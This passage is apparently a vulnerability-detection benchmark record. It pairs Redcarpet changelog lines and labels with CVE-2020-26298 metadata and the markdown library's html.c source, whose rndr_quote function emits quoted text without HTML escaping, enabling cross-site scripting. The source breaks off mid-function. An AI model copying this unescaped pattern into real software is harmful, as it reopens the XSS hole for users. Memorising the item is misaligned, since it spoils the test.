headers", " Passing the `with_toc_data` option to a `HTML` render object now\n generates GitHub style anchors.", " *Matt Rogers*", "* Allow to set a maximum rendering level for HTML_TOC", " Allow the user to pass a `nesting_level` option when instantiating a\n new HTML_TOC render object in order to limit the nesting level in the\n generated table of content. For example:", " ~~~ruby\n Redcarpet::Markdown.new(Redcarpet::Render::HTML_TOC.new(nesting_level: 2))\n ~~~", " *Robin Dupret*", "## Version 3.0.0", "* Remove support for Ruby 1.8.x *Matt Rogers & Robin Dupret*", "* Avoid escaping for HTML comments *Robin Dupret*", "* Make emphasis wrapped inside parenthesis parsed *Robin Dupret*", "* Remove the Sundown submodule *Robin Dupret*", "* Fix FTP uris identified as emails *Robin Dupret*", "* Add optional highlight support *Sam Soffes*", " This is `==highlighted==`.", "* Ensure nested parenthesis are handled into links *Robin Dupret*", "* Ensure nested code spans put in emphasis work correctly *Robin Dupret*", "## Version 2.3.0", "* Add a `:disable_indented_code_blocks` option *Dmitriy Kiriyenko*", "* Fix issue [#57](https://github.com/vmg/redcarpet/issues/57) *Mike Morearty*", "* Ensure new lines characters are inserted when using the StripDown\nrender. *Robin Dupret*", "* Mark all symbols as hidden except the main entry point *Tom Hughes*", " This avoids conflicts with other gems that may have some of the\n same symbols, such as escape_utils which also uses houdini.", "* Remove unnecessary function pointer *Sam Soffes*", "* Add optional underline support *Sam Soffes*", " This is `*italic*` and this is `_underline_` when enabled.", "* Test that links with quotes work *Michael Grosser*", "* Adding a prettyprint class for google-code-prettify *Joel Rosenberg*", "* Remove unused C macros *Matt Rogers*", "* Remove 'extern' definition for Init_redcarpet_rndr() *Matt Rogers*", "* Remove Gemfile.lock from the gemspec *Matt Rogers*", "* Removed extra unused test statement. *Slipp D. Thompson*", "* Use test-unit gem to get some red/green output when running tests\n*Michael Grosser*", "* Remove a deprecation warning and update Gemfile.lock *Robin Dupret*", "* Added contributing file *Brent Beer*", "* For tests for libxml2 > 2.8 *strzibny*", "* SmartyPants: Preserve single `backticks` in HTML *Mike Morearty*", " When SmartyPants is processing HTML, single `backticks` should be left\n intact. Previously they were being deleted.", "* Removed and ignored Gemfile.lock *Ryan McGeary*", "* Added support for org-table syntax *Ryan McGeary*", " Adds support for using a plus (+) as an intersection character instead of\n requiring pipes (|). The emacs org-mode table syntax automatically manages\n ascii tables, but uses pluses for line intersections.", "* Ignore /tmp directory *Ryan McGeary*", "* Add redcarpet_ prefix for `stack_*` functions *Kenta Murata*", "* Mark any html_attributes has held by a renderer as used *Tom Hughes*", "* Add Rubinius to the list of tested implementations *Gibheer*", "* Add a changelog file" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) 2009, Natacha Porté\n * Copyright (c) 2015, Vicent Marti\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */", "#include \"markdown.h\"\n#include \"html.h\"\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <ctype.h>", "#include \"houdini.h\"", "#define USE_XHTML(opt) (opt->flags & HTML_USE_XHTML)", "int\nsdhtml_is_tag(const uint8_t *tag_data, size_t tag_size, const char *tagname)\n{\n\tsize_t i;\n\tint closed = 0;", "\tif (tag_size < 3 || tag_data[0] != '<')\n\t\treturn HTML_TAG_NONE;", "\ti = 1;", "\tif (tag_data[i] == '/') {\n\t\tclosed = 1;\n\t\ti++;\n\t}", "\tfor (; i < tag_size; ++i, ++tagname) {\n\t\tif (*tagname == 0)\n\t\t\tbreak;", "\t\tif (tag_data[i] != *tagname)\n\t\t\treturn HTML_TAG_NONE;\n\t}", "\tif (i == tag_size)\n\t\treturn HTML_TAG_NONE;", "\tif (isspace(tag_data[i]) || tag_data[i] == '>')\n\t\treturn closed ? HTML_TAG_CLOSE : HTML_TAG_OPEN;", "\treturn HTML_TAG_NONE;\n}", "static inline void escape_html(struct buf *ob, const uint8_t *source, size_t length)\n{\n\thoudini_escape_html0(ob, source, length, 0);\n}", "static inline void escape_href(struct buf *ob, const uint8_t *source, size_t length)\n{\n\thoudini_escape_href(ob, source, length);\n}", "/********************\n * GENERIC RENDERER *\n ********************/\nstatic int\nrndr_autolink(struct buf *ob, const struct buf *link, enum mkd_autolink type, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (!link || !link->size)\n\t\treturn 0;", "\tif ((options->flags & HTML_SAFELINK) != 0 &&\n\t\t!sd_autolink_issafe(link->data, link->size) &&\n\t\ttype != MKDA_EMAIL)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<a href=\\\"\");\n\tif (type == MKDA_EMAIL)\n\t\tBUFPUTSL(ob, \"mailto:\");\n\tescape_href(ob, link->data, link->size);", "\tif (options->link_attributes) {\n\t\tbufputc(ob, '\\\"');\n\t\toptions->link_attributes(ob, link, opaque);\n\t\tbufputc(ob, '>');\n\t} else {\n\t\tBUFPUTSL(ob, \"\\\">\");\n\t}", "\t/*\n\t * Pretty printing: if we get an email address as\n\t * an actual URI, e.g. `mailto:foo@bar.com`, we don't\n\t * want to print the `mailto:` prefix\n\t */\n\tif (bufprefix(link, \"mailto:\") == 0) {\n\t\tescape_html(ob, link->data + 7, link->size - 7);\n\t} else {\n\t\tescape_html(ob, link->data, link->size);\n\t}", "\tBUFPUTSL(ob, \"</a>\");", "\treturn 1;\n}", "static void\nrndr_blockcode(struct buf *ob, const struct buf *text, const struct buf *lang, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (ob->size) bufputc(ob, '\\n');", "\tif (lang && lang->size) {\n\t\tsize_t i, cls;\n\t\tif (options->flags & HTML_PRETTIFY) {\n\t\t\tBUFPUTSL(ob, \"<pre><code class=\\\"prettyprint lang-\");\n\t\t\tcls++;\n\t\t} else {\n\t\t\tBUFPUTSL(ob, \"<pre><code class=\\\"\");\n\t\t}", "\t\tfor (i = 0, cls = 0; i < lang->size; ++i, ++cls) {\n\t\t\twhile (i < lang->size && isspace(lang->data[i]))\n\t\t\t\ti++;", "\t\t\tif (i < lang->size) {\n\t\t\t\tsize_t org = i;\n\t\t\t\twhile (i < lang->size && !isspace(lang->data[i]))\n\t\t\t\t\ti++;", "\t\t\t\tif (lang->data[org] == '.')\n\t\t\t\t\torg++;", "\t\t\t\tif (cls) bufputc(ob, ' ');\n\t\t\t\tescape_html(ob, lang->data + org, i - org);\n\t\t\t}\n\t\t}", "\t\tBUFPUTSL(ob, \"\\\">\");\n\t} else if (options->flags & HTML_PRETTIFY) {\n\t\tBUFPUTSL(ob, \"<pre><code class=\\\"prettyprint\\\">\");\n\t} else {\n\t\tBUFPUTSL(ob, \"<pre><code>\");\n\t}", "\tif (text)\n\t\tescape_html(ob, text->data, text->size);", "\tBUFPUTSL(ob, \"</code></pre>\\n\");\n}", "static void\nrndr_blockquote(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (ob->size) bufputc(ob, '\\n');\n\tBUFPUTSL(ob, \"<blockquote>\\n\");\n\tif (text) bufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</blockquote>\\n\");\n}", "static int\nrndr_codespan(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tif (options->flags & HTML_PRETTIFY)\n\t\tBUFPUTSL(ob, \"<code class=\\\"prettyprint\\\">\");\n\telse\n\t\tBUFPUTSL(ob, \"<code>\");\n\tif (text) escape_html(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</code>\");\n\treturn 1;\n}", "static int\nrndr_strikethrough(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<del>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</del>\");\n\treturn 1;\n}", "static int\nrndr_double_emphasis(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<strong>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</strong>\");", "\treturn 1;\n}", "static int\nrndr_emphasis(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size) return 0;\n\tBUFPUTSL(ob, \"<em>\");\n\tif (text) bufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</em>\");\n\treturn 1;\n}", "static int\nrndr_underline(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<u>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</u>\");", "\treturn 1;\n}", "static int\nrndr_highlight(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<mark>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</mark>\");", "\treturn 1;\n}", "static int\nrndr_quote(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;\n", "", "\tBUFPUTSL(ob, \"<q>\");", "\tbufput(ob, text->data, text->size);", "\tBUFPUTSL(ob, \"</q>\");", "\treturn 1;\n}", "static int\nrndr_linebreak(struct buf *ob, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tbufputs(ob, USE_XHTML(options) ? \"<br/>\\n\" : \"<br>\\n\");\n\treturn 1;\n}", "static void\nrndr_header_anchor(struct buf *out, const struct buf *anchor)\n{\n\tstatic const char *STRIPPED = \" -&+$,/:;=?@\\\"#{}|^~[]`\\\\*()%.!'\";", "\tconst uint8_t *a = anchor->data;\n\tconst size_t size = anchor->size;\n\tsize_t i = 0;\n\tint stripped = 0, inserted = 0;", "\tfor (; i < size; ++i) {\n\t\t// skip html tags\n\t\tif (a[i] == '<') {\n\t\t\twhile (i < size && a[i] != '>')\n\t\t\t\ti++;\n\t\t// skip html entities\n\t\t} else if (a[i] == '&') {\n\t\t\twhile (i < size && a[i] != ';')\n\t\t\t\ti++;\n\t\t}\n\t\t// replace non-ascii or invalid characters with dashes\n\t\telse if (!isascii(a[i]) || strchr(STRIPPED, a[i])) {\n\t\t\tif (inserted && !stripped)\n\t\t\t\tbufputc(out, '-');\n\t\t\t// and do it only once\n\t\t\tstripped = 1;\n\t\t}\n\t\telse {\n\t\t\tbufputc(out, tolower(a[i]));\n\t\t\tstripped = 0;\n\t\t\tinserted++;\n\t\t}\n\t}", "\t// replace the last dash if there was anything added\n\tif (stripped && inserted)\n\t\tout->size--;", "\t// if anchor found empty, use djb2 hash for it\n\tif (!inserted && anchor->size) {\n\t unsigned long hash = 5381;\n\t\tfor (i = 0; i < size; ++i) {\n\t\t\thash = ((hash << 5) + hash) + a[i]; /* h * 33 + c */\n\t\t}\n\t\tbufprintf(out, \"part-%lx\", hash);\n\t}\n}", "static void\nrndr_header(struct buf *ob, const struct buf *text, int level, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (ob->size)\n\t\tbufputc(ob, '\\n');", "\tif ((options->flags & HTML_TOC) && level >= options->toc_data.nesting_bounds[0] &&\n\t level <= options->toc_data.nesting_bounds[1]) {\n\t\tbufprintf(ob, \"<h%d id=\\\"\", level);\n\t\trndr_header_anchor(ob, text);\n\t\tBUFPUTSL(ob, \"\\\">\");\n\t}\n\telse\n\t\tbufprintf(ob, \"<h%d>\", level);", "\tif (text) bufput(ob, text->data, text->size);\n\tbufprintf(ob, \"</h%d>\\n\", level);\n}", "static int\nrndr_link(struct buf *ob, const struct buf *link, const struct buf *title, const struct buf *content, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (link != NULL && (options->flags & HTML_SAFELINK) != 0 && !sd_autolink_issafe(link->data, link->size))\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<a href=\\\"\");", "\tif (link && link->size)\n\t\tescape_href(ob, link->data, link->size);", "\tif (title && title->size) {\n\t\tBUFPUTSL(ob, \"\\\" title=\\\"\");\n\t\tescape_html(ob, title->data, title->size);\n\t}", "\tif (options->link_attributes) {\n\t\tbufputc(ob, '\\\"');\n\t\toptions->link_attributes(ob, link, opaque);\n\t\tbufputc(ob, '>');\n\t} else {\n\t\tBUFPUTSL(ob, \"\\\">\");\n\t}", "\tif (content && content->size) bufput(ob, content->data, content->size);\n\tBUFPUTSL(ob, \"</a>\");\n\treturn 1;\n}", "static void\nrndr_list(struct buf *ob, const struct buf *text, int flags, void *opaque)\n{\n\tif (ob->size) bufputc(ob, '\\n');\n\tbufput(ob, flags & MKD_LIST_ORDERED ? \"<ol>\\n\" : \"<ul>\\n\", 5);\n\tif (text) bufput(ob, text->data, text->size);\n\tbufput(ob, flags & MKD_LIST_ORDERED ? \"</ol>\\n\" : \"</ul>\\n\", 6);\n}", "static void\nrndr_listitem(struct buf *ob, const struct buf *text, int flags, void *opaque)\n{\n\tBUFPUTSL(ob, \"<li>\");\n\tif (text) {\n\t\tsize_t size = text->size;\n\t\twhile (size && text->data[size - 1] == '\\n')\n\t\t\tsize--;", "\t\tbufput(ob, text->data, size);\n\t}\n\tBUFPUTSL(ob, \"</li>\\n\");\n}", "static void\nrndr_paragraph(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tsize_t i = 0;", "\tif (ob->size) bufputc(ob, '\\n');", "\tif (!text || !text->size)\n\t\treturn;", "\twhile (i < text->size && isspace(text->data[i])) i++;", "\tif (i == text->size)\n\t\treturn;", "\tBUFPUTSL(ob, \"<p>\");\n\tif (options->flags & HTML_HARD_WRAP) {\n\t\tsize_t org;\n\t\twhile (i < text->size) {\n\t\t\torg = i;\n\t\t\twhile (i < text->size && text->data[i] != '\\n')\n\t\t\t\ti++;", "\t\t\tif (i > org)\n\t\t\t\tbufput(ob, text->data + org, i - org);", "\t\t\t/*\n\t\t\t * do not insert a line break if this newline\n\t\t\t * is the last character on the paragraph\n\t\t\t */\n\t\t\tif (i >= text->size - 1)\n\t\t\t\tbreak;", "\t\t\trndr_linebreak(ob, opaque);\n\t\t\ti++;\n\t\t}\n\t} else {\n\t\tbufput(ob, &text->data[i], text->size - i);\n\t}\n\tBUFPUTSL(ob, \"</p>\\n\");\n}", "static void\nrndr_raw_block(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tsize_t org, size;\n\tstruct html_renderopt *options = opaque;", "\tif (!text)\n\t\treturn;", "\tsize = text->size;\n\twhile (size > 0 && text->data[size - 1] == '\\n')\n\t\tsize--;", "\tfor (org = 0; org < size && text->data[org] == '\\n'; ++org)", "\tif (org >= size)\n\t\treturn;", "\t/* Remove style tags if the `:no_styles` option is enabled */\n\tif ((options->flags & HTML_SKIP_STYLE) != 0 &&\n\t\tsdhtml_is_tag(text->data, size, \"style\"))\n\t\treturn;", "\tif (ob->size)\n\t\tbufputc(ob, '\\n');", "\tbufput(ob, text->data + org, size - org);\n\tbufputc(ob, '\\n');\n}", "static int\nrndr_triple_emphasis(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size) return 0;\n\tBUFPUTSL(ob, \"<strong><em>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</em></strong>\");\n\treturn 1;\n}", "static void\nrndr_hrule(struct buf *ob, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tif (ob->size) bufputc(ob, '\\n');\n\tbufputs(ob, USE_XHTML(options) ? \"<hr/>\\n\" : \"<hr>\\n\");\n}", "static int\nrndr_image(struct buf *ob, const struct buf *link, const struct buf *title, const struct buf *alt, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (link != NULL && (options->flags & HTML_SAFELINK) != 0 && !sd_autolink_issafe(link->data, link->size))\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<img src=\\\"\");", "\tif (link && link->size)\n\t\tescape_href(ob, link->data, link->size);", "\tBUFPUTSL(ob, \"\\\" alt=\\\"\");", "\tif (alt && alt->size)\n\t\tescape_html(ob, alt->data, alt->size);", "\tif (title && title->size) {\n\t\tBUFPUTSL(ob, \"\\\" title=\\\"\");\n\t\tescape_html(ob, title->data, title->size);\n\t}", "\tbufputs(ob, USE_XHTML(options) ? \"\\\"/>\" : \"\\\">\");\n\treturn 1;\n}", "static int\nrndr_raw_html(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\t/* HTML_ESCAPE overrides SKIP_HTML, SKIP_STYLE, SKIP_LINKS and SKIP_IMAGES\n\t It doesn't see if there are any valid tags, just escape all of them. */\n\tif((options->flags & HTML_ESCAPE) != 0) {\n\t\tescape_html(ob, text->data, text->size);\n\t\treturn 1;\n\t}", "\tif ((options->flags & HTML_SKIP_HTML) != 0)\n\t\treturn 1;", "\tif ((options->flags & HTML_SKIP_STYLE) != 0 &&\n\t\tsdhtml_is_tag(text->data, text->size, \"style\"))\n\t\treturn 1;", "\tif ((options->flags & HTML_SKIP_LINKS) != 0 &&\n\t\tsdhtml_is_tag(text->data, text->size, \"a\"))\n\t\treturn 1;", "\tif ((options->flags & HTML_SKIP_IMAGES) != 0 &&\n\t\tsdhtml_is_tag(text->data, text->size, \"img\"))\n\t\treturn 1;", "\tbufput(ob, text->data, text->size);\n\treturn 1;\n}", "static void\nrndr_table(struct buf *ob, const struct buf *header, const struct buf *body, void *opaque)\n{\n\tif (ob->size) bufputc(ob, '\\n');\n\tBUFPUTSL(ob, \"<table><thead>\\n\");\n\tif (header)\n\t\tbufput(ob, header->data, header->size);\n\tBUFPUTSL(ob, \"</thead><tbody>\\n\");\n\tif (body)\n\t\tbufput(ob, body->data, body->size);\n\tBUFPUTSL(ob, \"</tbody></table>\\n\");\n}", "static void\nrndr_tablerow(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tBUFPUTSL(ob, \"<tr>\\n\");\n\tif (text)\n\t\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</tr>\\n\");\n}", "static void\nrndr_tablecell(struct buf *ob, const struct buf *text, int flags, void *opaque)\n{\n\tif (flags & MKD_TABLE_HEADER) {\n\t\tBUFPUTSL(ob, \"<th\");\n\t} else {\n\t\tBUFPUTSL(ob, \"<td\");\n\t}", "\tswitch (flags & MKD_TABLE_ALIGNMASK) {\n\tcase MKD_TABLE_ALIGN_CENTER:\n\t\tBUFPUTSL(ob, \" style=\\\"text-align: center\\\">\");\n\t\tbreak;", "\tcase MKD_TABLE_ALIGN_L:\n\t\tBUFPUTSL(ob, \" style=\\\"text-align: left\\\">\");\n\t\tbreak;", "\tcase MKD_TABLE_ALIGN_R:\n\t\tBUFPUTSL(ob, \" style=\\\"text-align: right\\\">\");\n\t\tbreak;", "\tdefault:\n\t\tBUFPUTSL(ob, \">\");\n\t}", "\tif (text)\n\t\tbufput(ob, text->data, text->size);", "\tif (flags & MKD_TABLE_HEADER) {\n\t\tBUFPUTSL(ob, \"</th>\\n\");\n\t} else {\n\t\tBUFPUTSL(ob, \"</td>\\n\");\n\t}\n}", "static int\nrndr_superscript(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size) return 0;\n\tBUFPUTSL(ob, \"<sup>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</sup>\");\n\treturn 1;\n}", "static void\nrndr_normal_text(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (text)\n\t\tescape_html(ob, text->data, text->size);\n}", "static void\nrndr_footnotes(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (ob->size) bufputc(ob, '\\n');", "\tBUFPUTSL(ob, \"<div class=\\\"footnotes\\\">\\n\");\n\tbufputs(ob, USE_XHTML(options) ? \"<hr/>\\n\" : \"<hr>\\n\");\n\tBUFPUTSL(ob, \"<ol>\\n\");", "\tif (text)\n\t\tbufput(ob, text->data, text->size);", "\tBUFPUTSL(ob, \"\\n</ol>\\n</div>\\n\");\n}", "static void\nrndr_footnote_def(struct buf *ob, const struct buf *text, unsigned int num, void *opaque)\n{\n\tsize_t i = 0;\n\tint pfound = 0;", "\t/* insert anchor at the end of first paragraph block */\n\tif (text) {\n\t\twhile ((i+3) < text->size) {\n\t\t\tif (text->data[i++] != '<') continue;\n\t\t\tif (text->data[i++] != '/') continue;\n\t\t\tif (text->data[i++] != 'p' && text->data[i] != 'P') continue;\n\t\t\tif (text->data[i] != '>') continue;\n\t\t\ti -= 3;\n\t\t\tpfound = 1;\n\t\t\tbreak;\n\t\t}\n\t}", "\tbufprintf(ob, \"\\n<li id=\\\"fn%d\\\">\\n\", num);\n\tif (pfound) {\n\t\tbufput(ob, text->data, i);\n\t\tbufprintf(ob, \"&nbsp;<a href=\\\"#fnref%d\\\">&#8617;</a>\", num);\n\t\tbufput(ob, text->data + i, text->size - i);\n\t} else if (text) {\n\t\tbufput(ob, text->data, text->size);\n\t}\n\tBUFPUTSL(ob, \"</li>\\n\");\n}", "static int\nrndr_footnote_ref(struct buf *ob, unsigned int num, void *opaque)\n{\n\tbufprintf(ob, \"<sup id=\\\"fnref%d\\\"><a href=\\\"#fn%d\\\">%d</a></sup>\", num, num, num);\n\treturn 1;\n}", "static void\ntoc_header(struct buf *ob, const struct buf *text, int level, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (level >= options->toc_data.nesting_bounds[0] &&\n\t level <= options->toc_data.nesting_bounds[1]) {\n\t\t/* set the level offset if this is the first header\n\t\t * we're parsing for the document */\n\t\tif (options->toc_data.current_level == 0)\n\t\t\toptions->toc_data.level_offset = level - 